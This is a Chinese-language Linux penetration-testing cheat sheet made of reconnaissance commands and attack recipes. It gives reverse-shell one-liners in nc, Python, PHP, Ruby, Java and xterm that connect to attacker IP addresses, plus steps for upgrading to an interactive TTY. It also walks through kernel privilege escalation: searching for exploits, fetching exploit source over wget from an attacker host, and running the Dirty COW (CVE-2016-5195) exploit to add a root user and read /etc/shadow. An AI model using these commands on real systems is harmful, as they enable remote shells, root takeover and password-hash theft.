常用命令

uname -a #查看内核/操作系统/cpu信息

hend -n 1 /etc/issue #查看操作系统版本

cat /proc/version #查看系统信息

hostname #查看计算机名

env #查看环境变量

ifconfig #查看网卡

netstat -lntp # 查看所有监听端口

netstat -antp # 查看所有已经建立的连接

netstat -s # 查看网络统计信息

iptables -L #查看防火墙设置

route -n # 查看路由表

ps -ef # 查看所有进程

top # 实时显示进程状态

w # 查看活动用户

id # 查看指定用户信息

last # 查看用户登录日志

cut -d: -f1 /etc/passwd # 查看系统所有用户

cut -d: -f1 /etc/group # 查看系统所有组

crontab -l # 查看当前用户的计划任务

chkconfig –list # 列出所有系统服务

chkconfig –list | grep on # 列出所有启动的系统服务

echo $PATH #查看系统路径

which nc #查找nc的路径

反弹shell

bash反弹

http://t.csdn.cn/IAItm

nc反弹

nc -e /bin/sh 192.168.10.128 6666

#但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 6666  >/tmp/f

python反弹

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.10.128" , 6666 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'

java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm反弹shell

xterm -display 10.0.0.1:1

获取完整交互式SHELL

su root su:必须从终端中执行

python伪终端

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

Linux反弹shell解决乱码

bash #从zsh切换到bash
nc -lvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z  #将伪终端放置后台任务 
stty -echo raw 	#设置原始格式
fg %1	#再调用后台任务(输入时无显示)
reset	#初始化

Linux内核漏洞提权

利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的exp,使用exp对其进行提权。

uname -a 	#查看内核/操作系统/cpu信息
uname -v
cat /proc/version #内核信息
cat /etc/issue	  #发行信息
cat /etc/redhat-release #发行信息
lsb_release -a	   #显示发行版本信息

Linux version 3.19.0-15-generic

Ubuntu 15.04 Release

根据linux的内核版本查找对应的exp

searchsploit -t Ubuntu 15.04 #只利用标题搜索
searchsploit -s Ubuntu 15.04 #执行严格搜索,禁止对版本范围进行模糊搜索
searchsploit -s Linux Kernel 3.19.0
searchsploit -x linux/local/37088.c #检查或打开漏洞
searchsploit -m linux/local/37088.c #将一个漏洞复制到当前的工作目录
wget http://192.168.10.128/37088.c -O /tmp/37088.c
gcc 37088.c -o exp
chmod +x exp
./exp

脏牛提权 CVE-2016-5195

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。

漏洞范围

以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞

Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1
Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
https://github.com/FireFart/dirtycow/blob/master/dirty.c
wget http://192.168.10.128/dirty.c -O /tmp/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty 123456
mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd

firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

su firefart

cat /etc/shadow